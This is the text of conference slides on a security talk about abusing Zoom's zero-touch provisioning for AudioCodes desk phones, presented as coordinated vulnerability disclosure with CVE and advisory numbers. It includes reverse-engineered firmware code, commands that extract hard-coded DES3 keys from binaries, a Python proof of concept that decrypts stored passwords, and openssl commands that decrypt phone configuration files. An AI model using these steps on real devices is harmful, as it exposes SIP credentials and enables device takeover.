



Zero-Touch-Pwn


Abusing Zoom's Zero Touch Provisioning for Remote Attacks on Desk Phones

Speaker:

Moritz Abrell, SySS GmbH

About this Talk

The image shows a collage of several screenshots from a debugger or analysis tool. One screenshot displays a memory dump with a red box highlighting the string "uid=0(admin) gid=0(root) groups=0(root)". Another screenshot shows a raw HTTP response with a red box around the header "Date: Tu". A third screenshot shows assembly code with a red box around the instruction "3D 3E EF". Labels in blue text are overlaid on the images: "BYTE_ARRAY_00010fb0", "db [8]", "00010fb0", "00011218 07 30 a0 e1", "0001121c 08", and "0001121d 09". A small screenshot at the bottom right shows a grayscale checkered pattern labeled "rP_BytesToKey". On the left, there are two small windows showing "ems_s" and "pers".





Who am I?

Moritz Abrell

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Senior IT Security Consultant

SySS GmbH


Hacking Hard- and Software

Various national and international Hacking and InfoSec Conferences



Motivation

On-Premise (traditional)





Motivation

- Traditional endpoint provisioning is not secure e.g.:
 - Accessible sensitive Information
 - Insufficient or missing authentication
 - Missing transport encryption
 - Missing server/client verification
- Combining traditional devices with cloud communication services?



Motivation

- Traditional endpoint provisioning is not secure e.g.:
 - Accessible sensitive Information
 - Insufficient or missing authentication
 - Missing transport encryption
 - Missing server/client verification
- Combining traditional devices with cloud communication services?
- Huge potential impact



Why Zoom?



Why Zoom?

Zero-Touch Provisioning

For phones that support **Zero-Touch Provisioning**, you can automatically provision your phone without having to configure provisioning in the phone's web interface.

Source: <https://support.zoom.us/hc/en-us/articles/360033223411-Getting-started-with-provisioning-desk-phones>



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Zoom Phone Certified Hardware

Last Updated: June 15, 2023

The table below provides the list of supported phone devices for Zoom Phone. You can also see a list of [supported features](#). Before you add devices to Zoom Phone, see an overview of the [provisioning process](#).



For [Zoom Phone Appliances](#), see our list of [certified devices](#).
For [Zoom Certified Devices](#), see the list of [Zoom Certified Devices](#).


This article covers:

- [Encryption](#)
- [Desk phones](#)
 - [AudioCodes](#)
 - [Cisco](#)
 - [Grandstream](#)
 - [Check the hardware version number of your Grandstream desk phone](#)
 - [Poly](#)
 - [Yealink](#)
- [Analog gateways](#)
 - [AudioCodes](#)
 - [Cisco](#)
 - [Grandstream](#)
 - [Upgrade an ATA Grandstream firmware](#)
 - [Verify an ATA Grandstream unit has the updated Gen 2 device factory certificate installed](#)
 - [Find an ATA Grandstream LAN MAC address value](#)
 - [Poly](#)
- [Desk phone accessories](#)
 - [Cisco](#)
 - [Poly](#)
 - [Yealink](#)
- [Session Border Controllers](#)
 - [AudioCodes](#)



5 Reasons Zoom Phone Has Sold 4 Million Seats So Quickly

September 9, 2022 · 8 min read




Source: <https://blog.zoom.us/millions-of-reasons-to-celebrate-zoom-phone/>



Hardware

- AudioCodes C450HD IP-Phone
- Publicly downloadable firmware
- Support for ZTP
- Multiple use cases





The screenshot shows a web browser window for the Zoom Support site. The title bar says "Provisioning Desk Phones". The URL in the address bar is "support.zoom.us/hc/en-us/sections/4413424119565-Provisioning-Desk-Phones-and-Devices". The page header includes the "ZOOM Support" logo and navigation links for Products, Solutions, Resources, Plans & Pricing, Join, Host, Sign In, Product Support, Support by Topic, More Support, Contact Support, and a Search bar. The breadcrumb navigation on the left indicates the path: Zoom Support > Zoom Phone System Support > Settings and Configuration for Zoom Phone > Provisioning Desk Phones and Devices. The main title "Provisioning Desk Phones and Devices" is displayed prominently. Below it, a text block states: "Provision phones and hardware to use them with Zoom Phone. Use desk phone provision templates and other provisioning guides to perform advanced provisioning configurations." To the left, there is a list of links: "AudioCodes MP504/508 (formally M500Li) ATA device provisioning", "Cisco assisted provisioning guide", "Zoom Phone firmware resync and Auto Pulling", "Resetting to factory default (Poly)", and "Resetting to factory default (Yealink)". To the right, there is a list of links: "Configuring desk phone provision templates", "Assisted provisioning URLs", "Poly assisted provisioning guide", "Yealink assisted provisioning guide", "Re-syncing a desk phone or common area phone with the zero touch provisioning (ZTP) server", and another link to "Configuring desk phone provision templates".


Source: <https://support.zoom.us/hc/en-us/sections/4413424119565-Provisioning-Desk-Phones-and-Devices>




zoom





IT administrator





1. adds a device and assigns
a configuration template














Vendor Redirect Service

Request

Pretty Raw Hex

```
1 GET /00908F9D8992 HTTP/1.1
2 Host: redirect.audioCodes.com
3 Accept: */*
4 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
5 Connection: close
```

Vendor Redirect Service

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Pretty Raw Hex

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5 Connection: close
```

Vendor Redirect Service

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 302 Found
2 Content-Length: 0
3 Connection: close
4 Content-Type: text/plain; charset=utf-8
5 Date: Thu, 29 Jun 2023 08:20:05 GMT
6 Location: https://eu01pbxacp.zoom.us/api/v2/pbx/provisioning/audiocodes/
7 Request-Context: appId=cid-v1:229bb6bd-04d7-408d-b225-c6e440f5c51b
```

Vendor Redirect Service

Response

Pretty Raw Hex Render

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1 HTTP/1.1 302 Found
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```



Request	
	Pretty
1	GET /00908F9D8993 HTTP/1.1
2	Host: redirect.audioCodes.com
3	Accept: */*
4	User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
5	Connection: close
c	
	    <input type="text" value="Search..."/>
Response	
	Pretty
1	HTTP/1.1 302 Found
2	Content-Length: 0
3	Connection: close
4	Content-Type: text/plain; charset=utf-8
5	Date: Thu, 29 Jun 2023 08:31:18 GMT
6	Location: https://eu01pbxacp.zoom.us/api/v2/pbx/provisioning/audioCodes/
7	Request-Context: appId=cid-v1:229bb6bd-04d7-408d-b225-c6e440f5c51b
8	



Request	
	Pretty
1	GET /00908F9D8993 HTTP/1.1
2	Host: redirect.audioCodes.com
3	Accept: */*
4	User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
5	Connection: close
c	
	    <input type="text" value="Search..."/>
Response	
	Pretty
1	HTTP/1.1 302 Found
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7	Request-Context: appId=cid-v1:229bb6bd-04d7-408d-b225-c6e440f5c51b
8	



Response

Pretty Raw Hex Render

```
1 HTTP/1.1 302 Found
2 Content-Length: 0
3 Connection: close
4 Content-Type: text/plain; charset=utf-8
5 Date: Tue, 08 Nov 2022 10:20:39 GMT
6 Location: https://SecureProvService. [REDACTED]
7 Request-Context: appId=cid-v1:229bb6bd-04d7-408d-b225-c6e440f5c51b
8
```



Response

Pretty Raw Hex Render

```
1 HTTP/1.1 302 Found
2 Content-Length: 0
3 Connection: close
4 Content-Type: text/plain; charset=utf-8
5 Date: Tue, 08 Nov 2022 10:20:39 GMT
6 Location: https://SecureProvService.██████████
7 Request-Context: appId=cid-v1:229bb6bd-04d7-408d-b225-c6e440f5c51b
8
```



Response

Pretty **Raw** Hex Render

```
1 HTTP/1.1 302 Found
2 Content-Length: 0
3 Connection: close
4 Content-Type: text/plain; charset=utf-8
5 Date: Fri, 13 Jan 2023 07:58:02 GMT
6 Location: https://[REDACTED]:[REDACTED]@firmware.[REDACTED].[REDACTED].ini
7 Request-Context: appId=cid-v1:229bb6bd-04d7-408d-b225-c6e440f5c51b
8
```



Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Tue, 08 Nov 2022 11:19:57 GMT
3 Server: Apache
4 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
5 Upgrade: h2
6 Connection: Upgrade, close
7 X-XSS-Protection: 1; mode=block
8 X-Content-Type-Options: nosniff
9 Content-Type: text/plain; charset=UTF-8
10 Set-Cookie: BIGipServerPORTAL_80=1010
11 Content-Length: 3352
12
13 ;Genband_AUDC_IP_Phone_4xx_configuration_template_v2
14 ;Special interop - Genband
15 voip/services/application_server_type=GENBAND
16
17 ;Private Line settings
18 voip/line/0/enabled=1
19 voip/line/0/auth_name=[REDACTED]
20 voip/line/0/auth_password=[REDACTED]
21 voip/line/0/description=[REDACTED]
22 voip/line/0/id=[REDACTED]
23 voip/line/0/line_mode=PRIVATE
24 voip/line/0/account_type=SIP
25
```



Request

Pretty Raw Hex

```
1 GET /pub/MP202-DMS-Flash-USA.CONF HTTP/1.1
2 Host: redirect.audioCodes.com
3 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
4 Accept: */*
5 Connection: close
6
7
```

① ⚙️ ⏪ ⏩ Search...

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Content-Length: 528
3 Connection: close
4 Content-Type: application/octet-stream
5 Date: Wed, 26 Oct 2022 18:59:21 GMT
```



Request

Pretty Raw Hex

```
1 GET /pub/MP202-DMS-Flash-USA.CONF HTTP/1.1
2 Host: redirect.audioCodes.com
3 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
4 Accept: */*
5 Connection: close
6
7
```

Search...    

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Content-Length: 528
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```



Request

Pretty Raw Hex

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1 GET /pub/MP202-DMS-Flash-USA.CONF HTTP/1.1
2 Host: redirect.audioCodes.com
3 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
4 Accept: */*
5 Connection: close
6
7
```

Search...    

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Content-Length: 528
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4 Content-Type: application/octet-stream
5 Date: Wed, 26 Oct 2022 18:59:21 GMT
```



Request

Pretty Raw Hex

```
1 GET /pub/MP202-DMS-Flash-USA.CONF HTTP/1.1
2 Host: redirect.audioCodes.com
3 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
4 Accept: */*
5 Connection: close
6
7
```

🔍⚙️ ⏪ ⏩ Search...

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Content-Length: 528
3 Connection: close
4 Content-Type: application/octet-stream
5 Date: Wed, 26 Oct 2022 18:59:21 GMT
```

SYSS-2022-053

- SYSS-2022-053
- Exposure of sensitive Information to an unauthorized Actor (CWE-200)



Response

Pretty Raw Hex Render

```
13 X-Content-Type-Options: nosniff
14 Connection: close
15
16 ems_server/provisioning/url=https://ippdm.audioCodes.com/
17 provisioning/method=STATIC
18 provisioning/configuration/url=https://ippdm.audioCodes.com/dynamicconfigfiles/
19 provisioning/firmware/url=https://ippdm.audioCodes.com/firmwarefiles/
20 ems_server/user_name=system
21 ems_server/user_password={
    "VvlZOp5/5pM="
}
```




```
$ echo "VvlZ0p5/5pM=" | base64 -d | xxd
```

```
00000000: 56f9 593a 9e7f e693
```



V.Y:



Source: <https://www.audiocodes.com/library/firmware>



Password Encryption

- Imports of ***AC_Decrypt_Param*** and ***decrypt_string*** from ***/lib/libac_des3.so***
 - */lib/libcgi.so*
 - */lib/libdevice_management.so*
 - */lib/libaq201.so*
 - */home/iphone/bin/voip_task_SFB*
 - */home/iphone/bin/nxphone*
 - */home/iphone/bin/emsc*
 - */home/iphone/bin/http_services*





```
        undefined AC_Decrypt_Param()
undefined          r0:r1           <RETURN>
                  AC_Decrypt_Param
00010f44 70 40 2d e9    stmdb      sp!,{r4,r5,r6,lr}
00010f48 00 60 a0 e1    cpy       r6,r0
00010f4c 01 40 a0 e1    cpy       r4,r1
00010f50 02 50 a0 e1    cpy       r5,r2
00010f54 09 fe ff eb    bl        decrypt_string
```

```
4 undefined4 decrypt_string(char *param_1,undefined4 param_2)
5
6 {
7     size_t sVar1;
8     int iVar2;
9     undefined4 uVar3;
10    undefined4 *puVar4;
11    undefined4 *puVar5;
12    undefined4 *puVar6;
13    undefined auStack_1820 [2044];
14    char acStack_1024 [4];
15    char acStack_1020 [2048];
16    undefined4 local_820 [2];
17    undefined local_818 [17];
18    undefined auStack_807 [2027];
19
20    puVar4 = local_820;
21    puVar5 = BYTE_ARRAY_00010fb8;
22    do {
23        puVar6 = puVar5 + 2;
24        uVar3 = puVar5[1];
25        *puVar4 = *puVar5;
26        puVar4[1] = uVar3;
27        puVar4 = puVar4 + 2;
28        puVar5 = puVar6;
29    } while (puVar6 != &UNK_00010fd0);
30    *puVar4 = 0;
31    memset(auStack_807,0,0x7e7);
32    sVar1 = strlen(param_1);
33    if (((sVar1 < 5) || (iVar2 = strncmp(param_1,"{\\"",2), iVar2 != 0)) ||
34        (iVar2 = strncmp(param_1 + (sVar1 - 2),"\"}",2), iVar2 != 0)) {
35        uVar3 = 0xffffffff;
36    }
37    else {
38        strncpy(acStack_1020,param_1 + 2,sVar1 - 4);
39        acStack_1020[sVar1 - 4] = '\0';
40        sVar1 = strlen(acStack_1020);
41        uVar3 = base64_decode(acStack_1020,sVar1,auStack_1820);
42        des3_crypt(auStack_1820,param_2,uVar3,local_820,0);
43        uVar3 = 0;
44    }
45    return uVar3;
46 }
```

```
37 else {
38     strncpy(acStack_1020,param_1 + 2,sVar1 - 4);
39     acStack_1020[sVar1 - 4] = '\0';
40     sVar1 = strlen(acStack_1020);
41     uVar3 = base64_decode(acStack_1020,sVar1,auStack_1820);
42     des3_crypt(auStack_1820,param_2,uVar3,local_820,0);
43     uVar3 = 0;
44 }
```



```
48  DES_set_key_unchecked(param_4,&DStack_1a8);  
49  DES_set_key_unchecked(param_4[1],&DStack_128);  
50  DES_set_key_unchecked(param_4[2],&DStack_a8);  
51  DES_ed3_cbc_encrypt(input,param_2,__size,&DStack_1a8,&DStack_128,&DStack_a8,&local_1b0,param_5)
```



A screenshot of a web browser window showing the OpenSSL documentation for the DESede3_CBC_encrypt function. The title bar reads "os /docs/man3.0/man3/DES_". The address bar shows the URL "openssl.org/docs/man3.0/man3/DES_e3_cbc_encrypt.html". The main content area displays the C language function signature:

```
void DES_e3_cbc_encrypt(const unsigned char *input, unsigned char *output,
                        long length, DES_key_schedule *ks1,
                        DES_key_schedule *ks2, DES_key_schedule *ks3,
                        DES_cblock *ivec, int enc);
```

Source: https://www.openssl.org/docs/man3.0/man3/DES_e3_cbc_encrypt.html



```
50  DES_ed3_cbc_encrypt
51      (input,output,__size,&DES_key_schedule*ks1,&DES_key_schedule*ks2,&DES_key_schedule*ks3
52          ,ivec,enc);
```



IV

BYTE_ARRAY_00010fb0	
00010fb0	db [8]
00010fb0 [0]	A3h, A4h,
00010fb4 [4]	35h, CBh,

KEY

BYTE_ARRAY_00010fb8	
00010fb8	db [24]
00010fb8 [0]	60h, 40h, 75h, FBh,
00010fbc [4]	
00010fc0 [8]	
00010fc4 [12]	
00010fc8 [16]	
00010fcc [20]	

```
# Extraction of the Key:  
$ offset=$(python3 -c 'print(int("00000fb8", base=16))')  
$ dd skip=$offset count=24 if=libac_des3.so of=key.bin bs=1  
  
# Extraction of the IV:  
$ offset=$(python3 -c 'print(int("00000fb0", base=16))')  
$ dd skip=$offset count=8 if=libac_des3.so of=iv.bin bs=1
```

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import base64
from Crypto.Cipher import DES3
from binascii import unhexlify

KEY = unhexlify('604075fb#####################################')
IV = unhexlify('a3a4####35cb###')

def decrypt(ciphertext):
    ciphertext_decoded = base64.b64decode(ciphertext)
    cipher = DES3.new(KEY, DES3.MODE_CBC, iv=IV)
    plaintext = cipher.decrypt(ciphertext_decoded)
    print("plain text password: {}".format(plaintext.decode('utf-8')))

def main():
    decrypt(sys.argv[1])

if __name__ == '__main__':
    main()
```



```
$ python3 poc.py Vv1Z0p5/5pM=
plain text password: system
```



```
$ python3 poc.py Vv1Z0p5/5pM=
```

```
plain text password: system
```



Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Tue, 08 Nov 2022 11:09:13 GMT
3 Server: Apache
4 X-Frame-Options: SAMEORIGIN
5 Referrer-Policy: no-referrer
6 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
7 Strict-Transport-Security: max-age=31536000; includeSubDomains
```

• • •

```
22 ems_server/provisioning?url=https://ippdm.audioCodes.com:443/
23 ems_server/user_name= [REDACTED]@audioCodes.com
24 ems_server/user_password={"nQb [REDACTED] [REDACTED] [REDACTED] ;w=="}
25 personal_settings/language=English
```



SYSS-2022-052

- SYSS-2022-052
- CVE-2023-22957
- Use of hard-coded Cryptographic Key (CWE-321)



28.1 Encrypting Configuration Files

This procedure describes how to encrypt the Configuration file. For example, you may wish to encrypt the configuration file when it is send over an unsecure network.

➤ **To encrypt the configuration file:**

- At the command line prompt, specify the following:

```
encryption_tool.exe -f <filename>.cfg
```

where *<file name>.cfg* specifies the name of the Configuration file that you wish to encrypt.

Once the Configuration file is encrypted, it receives the suffix '.cfx' (e.g. Conf.cfx). This is the file that you should specify in the 'Configuration URL' and the 'Dynamic Configuration URL' fields when performing automatic provisioning (see Part II 'Automatic Provisioning').



28.1 Encrypting Configuration Files

This procedure describes how to encrypt the Configuration file. For example, you may wish to encrypt the configuration file when it is send over an unsecure network.

➤ **To encrypt the configuration file:**

- At the command line prompt, specify the following:

```
encryption_tool.exe -f <filename>.cfg
```

where *<file name>.cfg* specifies the name of the Configuration file that you wish to encrypt.

Once the Configuration file is encrypted, it receives the suffix '.cfx' (e.g. Conf.cfx). This is the file that you should specify in the 'Configuration URL' and the 'Dynamic Configuration URL' fields when performing automatic provisioning (see Part II 'Automatic Provisioning').



28.1 Encrypting Configuration Files

This procedure describes how to encrypt the Configuration file. For example, you may wish to encrypt the configuration file when it is send over an unsecure network.

➤ **To encrypt the configuration file:**

- At the command line prompt, specify the following:

```
encryption_tool.exe -f <filename>.cfg
```

where *<file name>.cfg* specifies the name of the Configuration file that you wish to encrypt.

Once the Configuration file is encrypted, it receives the suffix '.cfx' (e.g. Conf.cfx). This is the file that you should specify in the 'Configuration URL' and the 'Dynamic Configuration URL' fields when performing automatic provisioning (see Part II 'Automatic Provisioning').

/lib/libcgi.so

```
if (local_1ee == 6) {
    sVar2 = strlen(acStack_1e8);
    iVar1 = strcmp(acStack_1e8 + (sVar2 - 4), ".cfx");
    if (iVar1 == 0) {
        __format = '/home/iphone/bin/decryption_tool' -f /tmp/back_file.cfx -o %s > /dev/null';
    }
}
```



```
mabrell ~/analysis/home/iphone/bin
$ strings -n 32 decryption_tool
openssl_crypt EVP_BytesToKey ERROR cipher[%d], strlen((char*)pw) [%d]
openssl_crypt EVP_CipherInit ERROR
openssl_crypt EVP_CipherUpdate ERROR
openssl_crypt EVP_CipherFinal ERROR
des3_crypt: Cipher context can't be NULL!
des3_crypt: Input buffer can't be NULL!
des3_crypt: Output buffer can't be NULL!
init_cipher: RAND_pseudo_bytes ERROR. Can't generate random salt!
init_cipher: EVP_BytesToKey ERROR. Can't generate key and IV!
init_cipher: EVP_CipherInit ERROR. Can't initialize cipher
final_cipher: Cipher context can't be NULL!
final_cipher: Output buffer can't be NULL!
final_cipher EVP_CipherFinal ERROR
h4dA
Use: %s -f <input file name> -o <output file name>
Invalid command line parameters.
```



```
mabrell ~/analysis/home/iphone/bin
$ strings -n 32 decryption_tool
openssl_crypt EVP_BytesToKey ERROR cipher[%d], strlen((char*)pw) [%d]
openssl_crypt EVP_CipherInit ERROR
openssl_crypt EVP_CipherUpdate ERROR
openssl_crypt EVP_CipherFinal ERROR
des3_crypt: Cipher context can't be NULL!
des3_crypt: Input buffer can't be NULL!
des3_crypt: Output buffer can't be NULL!
init_cipher: RAND_pseudo_bytes ERROR. Can't generate random salt!
init_cipher: EVP_BytesToKey ERROR. Can't generate key and IV!
init_cipher: EVP_CipherInit ERROR. Can't initialize cipher
final_cipher: Cipher context can't be NULL!
final_cipher: Output buffer can't be NULL!
final_cipher EVP_CipherFinal ERROR
h4dA
Use: %s -f <input file name> -o <output file name>
Invalid command line parameters.
```



FUN_00011620				XREF[1] :	00010fdc
00011620	f0 47 2d e9	stmdb	sp!,{r4,r5,r6,r7,r8,r9,r10,lr}		
00011624	61 de 4d e2	sub	sp,sp,#0x610		
00011628	08 d0 4d e2	sub	sp,sp,#0x8		
0001162c	01 50 a0 e1	cpy	r5,r1		
00011630	18 70 8d e2	add	r7,sp,#0x18		
00011634	00 60 a0 e1	cpy	r6,r0		
00011638	e8 11 9f e5	ldr	r1,[DAT_00011828]	= 000	
0001163c	08 80 47 e2	sub	r8,r7,#0x8		
00011640	41 20 a0 e3	mov	r2,#0x41		
00011644	08 00 a0 e1	cpy	r0,r8		
00011648	01 10 8f e0	add	r1=>s_h4dArath		h4
0001164c	3d fd ff eb	bl	<EXTERNAL>::memcpy		void

		FUN_00011620		XREF[1] :	00010fdc
00011620	f0 47 2d e9	stmdb	sp!,{r4,r5,r6,r7,r8,r9,r10,lr}		
00011624	61 de 4d e2	sub	sp,sp,#0x610		
00011628	08 d0 4d e2	sub	sp,sp,#0x8		
0001162c	01 50 a0 e1	cpy	r5,r1		
00011630	18 70 8d e2	add	r7,sp,#0x18		
00011634	00 60 a0 e1	cpy	r6,r0		
00011638	e8 11 9f e5	ldr	r1,[DAT_00011828]	= 000	
0001163c	08 80 47 e2	sub	r8,r7,#0x8		
00011640	41 20 a0 e3	mov	r2,#0x41		
00011644	08 00 a0 e1	cpy	r0,r8		
00011648	01 10 8f e0	add	r1=>s_h4dArath		h4
0001164c	3d fd ff eb	bl	<EXTERNAL>::memcpy		void



00011758	00 00 8d e5	str	r0,[sp,#0x0]=>local_638
0001175c	08 30 a0 e1	cpy	r3,r8
00011760	0a 00 a0 e1	cpy	r0,r10
00011764	09 10 a0 e1	cpy	r1,r9
00011768	8c fe ff eb	bl	FUN_000111a0



00011758	00 00 8d e5	str	r0,[sp,#0x0]=>local_638
0001175c	08 30 a0 e1	cpy	r3,r8
00011760	0a 00 a0 e1	cpy	r0,r10
00011764	09 10 a0 e1	cpy	r1,r9
00011768	8c fe ff eb	bl	FUN_000111a0



FUN_000111a0				XREF[1]:
000111a0	f0 4f 2d e9	stmdb	sp!, {r4,r5,r6,r7,r8,r9,r10,r11,lr}	
000111a4	01 60 a0 e1	cpy	r6,param_2	
000111a8	03 70 a0 e1	cpy	r7,param_4	
000111ac	fc d0 4d e2	sub	sp,sp,#0xfc	
000111b0	00 80 a0 e1	cpy	r8,param_1	
000111b4	02 b0 a0 e1	cpy	r11,param_3	



FUN 000111a0				XREF[1]:
000111a0	f0 4f 2d e9	stmdb	sp!, {r4,r5,r6,r7,r8,r9,r10,r11,lr}	
000111a4	01 60 a0 e1	cpy	r6,param_2	
000111a8	03 70 a0 e1	cpy	r7,param_4	
000111ac	fc d0 4d e2	sub	sp,sp,#0xfc	
000111b0	00 80 a0 e1	cpy	r8,param_1	
000111b4	02 b0 a0 e1	cpy	r11,param_3	



00011218	07 30 a0 e1	cpy	param_4,r7
0001121c	08 90 8d e5	str	r9,[sp,#local_118]
00011220	04 00 a0 e1	cpy	param_1,r4
00011224	14 10 9d e5	ldr	param_2,[sp,#local_10c]
00011228	43 fe ff eb	bl	<EXTERNAL>::EVP_BytesToKey

EVP_BytesToKey

NAME

EVP_BytesToKey - password based encryption routine

SYNOPSIS

```
#include <openssl/evp.h>

int EVP_BytesToKey(const EVP_CIPHER *type, const EVP_MD *md,
                   const unsigned char *salt,
                   const unsigned char *data, int datal, int count,
                   unsigned char *key, unsigned char *iv);
```

DESCRIPTION

EVP_BytesToKey() derives a key and IV from various parameters. **type** is the cipher to derive the key and IV for. **md** is the message digest to use. The **salt** parameter is used as a salt in the derivation: it should point to an 8 byte buffer or NULL if no salt is used. **data** is a buffer containing **datal** bytes which is used to derive the keying data. **count** is the iteration count to use. The derived key and IV will be written to **key** and **iv** respectively.

EVP_BytesToKey

NAME

EVP_BytesToKey - password based encryption routine

SYNOPSIS

```
#include <openssl/evp.h>

int EVP_BytesToKey(const EVP_CIPHER *type, const EVP_MD *md,
                   const unsigned char *salt,
                   const unsigned char *data, int datal, int count,
                   unsigned char *key, unsigned char *iv);
```



DESCRIPTION

EVP_BytesToKey() derives a key and IV from various parameters. **type** is the cipher to derive the key and IV for. **md** is the message digest to use. The **salt** parameter is used as a salt in the derivation: it should point to an 8 byte buffer or NULL if no salt is used. **data** is a buffer containing **datal** bytes which is used to derive the keying data. **count** is the iteration count to use. The derived key and IV will be written to **key** and **iv** respectively.





```
$ offset=$(python3 -c 'print(int("00001e8f", base=16))')
$ dd skip=$offset count=64 if=decryption_tool of=secret.bin bs=1
```



```
|000111b8 a4 fe ff eb      b1          <EXTERNAL>::EVP_des_ed3_cbc
```

```
$ secret=$(cat secret.bin)

$ openssl enc -des-ede3-cbc -P -pass pass:$secret -nosalt
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
key=40DA61#####
iv =C614#####

$ openssl enc -d -des-ede3-cbc -pass pass:$secret -nosalt \
    -in encrypted_config.cfx -out plain_config.cfg

$ cat plain_config.cfg
voip/line/0/enabled=1
voip/line/0/id=123
voip/line/0/auth_name=XYZ
voip/line/0/auth_password=XYZ
```



28.1 Encrypting Configuration Files

This procedure describes how to encrypt the Configuration file. For example, you may wish to encrypt the configuration file when it is send over an unsecure network.

➤ **To encrypt the configuration file:**

- At the command line prompt, specify the following:


```
encryption_tool.exe -f <filename>.cfg
```


where *<file name>.cfg* specifies the name of the Configuration file that you wish to encrypt.

Once the Configuration file is encrypted, it receives the suffix '.cfx' (e.g. Conf.cfx). This is the file that you should specify in the 'Configuration URL' and the 'Dynamic Configuration URL' fields when performing automatic provisioning (see Part II 'Automatic Provisioning').

SYSS-2022-054

- SYSS-2022-054
- CVE-2023-22956
- Use of hard-coded Cryptographic Key (CWE-321)







Request

Pretty Raw Hex

```
1 GET /api/v2/pbx/provisioning/audiocodes/00908F9D8992.cfg HTTP/2
2 Host: eu01pbxacp.zoom.us
3 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C450HD_UC_3.4.6.604/1
4 Accept: */*
5 Referer: https://provacp.zoom.us/
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 400 Bad Request
2 Server: nginx
3 Date: Sat, 01 Jul 2023 09:35:14 GMT
4 Content-Type: text/html
5 Content-Length: 230
6 Strict-Transport-Security: max-age=31536000; includeSubDomains
7
8 <html>
9   <head>
10    <title>
11      400 No required SSL certificate was sent
12    </title>
13   </head>
14   <body>
15     <center>
16       <h1>
17         400 Bad Request
18       </h1>
19     </center>
20     <center>
21       No required SSL certificate was sent
22     </center>
23     <hr>
24     <center>
25       nginx
26     </center>
27   </body>
28 </html>
```



tcp.stream eq 2

	VID	Source	Src.Port	Destination	Dst.Port	Protocol	Length	Info
1-19	19:38:06.510106539	192.168.219.72	41362	3.120.121.92	443	TCP	74	41362 → 443 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=4294942974 T
1-19	19:38:06.541112371	3.120.121.92	443	192.168.219.72	41362	TCP	74	443 → 41362 [SYN, ACK] Seq=0 Ack=1 Win=62643 Len=0 MSS=1452 SACK
1-19	19:38:06.541412668	192.168.219.72	41362	3.120.121.92	443	TCP	66	41362 → 443 [ACK] Seq=1 Ack=1 Win=29248 Len=0 TSval=4294942974 T
1-19	19:38:06.559799768	192.168.219.72	41362	3.120.121.92	443	TLSv1.2	583	Client Hello
1-19	19:38:06.591670758	3.120.121.92	443	192.168.219.72	41362	TCP	66	443 → 41362 [ACK] Seq=1 Ack=518 Win=62208 Len=0 TSval=3051540476
1-19	19:38:06.597166812	3.120.121.92	443	192.168.219.72	41362	TLSv1.2	1506	Server Hello
1-19	19:38:06.597542325	192.168.219.72	41362	3.120.121.92	443	TCP	66	41362 → 443 [ACK] Seq=518 Ack=1441 Win=32128 Len=0 TSval=4294942
1-19	19:38:06.601687045	3.120.121.92	443	192.168.219.72	41362	TCP	1506	443 → 41362 [PSH, ACK] Seq=1441 Ack=518 Win=62208 Len=1440 TSval=4294942
1-19	19:38:06.602035254	192.168.219.72	41362	3.120.121.92	443	TCP	66	41362 → 443 [ACK] Seq=518 Ack=2881 Win=35008 Len=0 TSval=4294942
1-19	19:38:06.606450996	3.120.121.92	443	192.168.219.72	41362	TLSv1.2	1506	Certificate
1-19	19:38:06.606762007	192.168.219.72	41362	3.120.121.92	443	TCP	66	41362 → 443 [ACK] Seq=518 Ack=4321 Win=37888 Len=0 TSval=4294942
1-19	19:38:06.607731560	3.120.121.92	443	192.168.219.72	41362	TLSv1.2	434	Server Key Exchange, Certificate Request, Server Hello Done
1-19	19:38:06.607970085	192.168.219.72	41362	3.120.121.92	443	TCP	66	41362 → 443 [ACK] Seq=518 Ack=4689 Win=40768 Len=0 TSval=4294942
1-19	19:38:06.669141160	192.168.219.72	41362	3.120.121.92	443	TLSv1.2	1220	Certificate, Client Key Exchange, Certificate Verify, Change Cipher Spec, Encrypted Handshake Message
1-19	19:38:06.704012179	3.120.121.92	443	192.168.219.72	41362	TCP	66	443 → 41362 [ACK] Seq=4689 Ack=1672 Win=61056 Len=0 TSval=305154
1-19	19:38:06.704885248	3.120.121.92	443	192.168.219.72	41362	TLSv1.2	117	Change Cipher Spec, Encrypted Handshake Message
1-19	19:38:06.705050588	192.168.219.72	41362	3.120.121.92	443	TCP	66	41362 → 443 [ACK] Seq=1672 Ack=4740 Win=40768 Len=0 TSval=4294942
1-19	19:38:06.706763561	192.168.219.72	41362	3.120.121.92	443	TLSv1.2	266	Application Data

Content Type: Handshake (22)
 Version: TLS 1.2 (0x0303)
 Length: 333

- ▼ Handshake Protocol: Server Key Exchange
 - Handshake Type: Server Key Exchange (12)
 - Length: 329
 - ▶ EC Diffie-Hellman Server Params
- ▼ Transport Layer Security
 - ▼ TLSv1.2 Record Layer: Handshake Protocol: Multiple Handshake Messages
 - Content Type: Handshake (22)
 - Version: TLS 1.2 (0x0303)
 - Length: 81
 - ▼ Handshake Protocol: Certificate Request
 - Handshake Type: Certificate Request (13)
 - Length: 73
 - Certificate types count: 3
 - ▶ Certificate types (3 types)
 - Signature Hash Algorithms Length: 30
 - ▶ Signature Hash Algorithms (15 algorithms)
 - Distinguished Names Length: 35
 - ▶ Distinguished Names (35 bytes)
 - ▼ Handshake Protocol: Server Hello Done
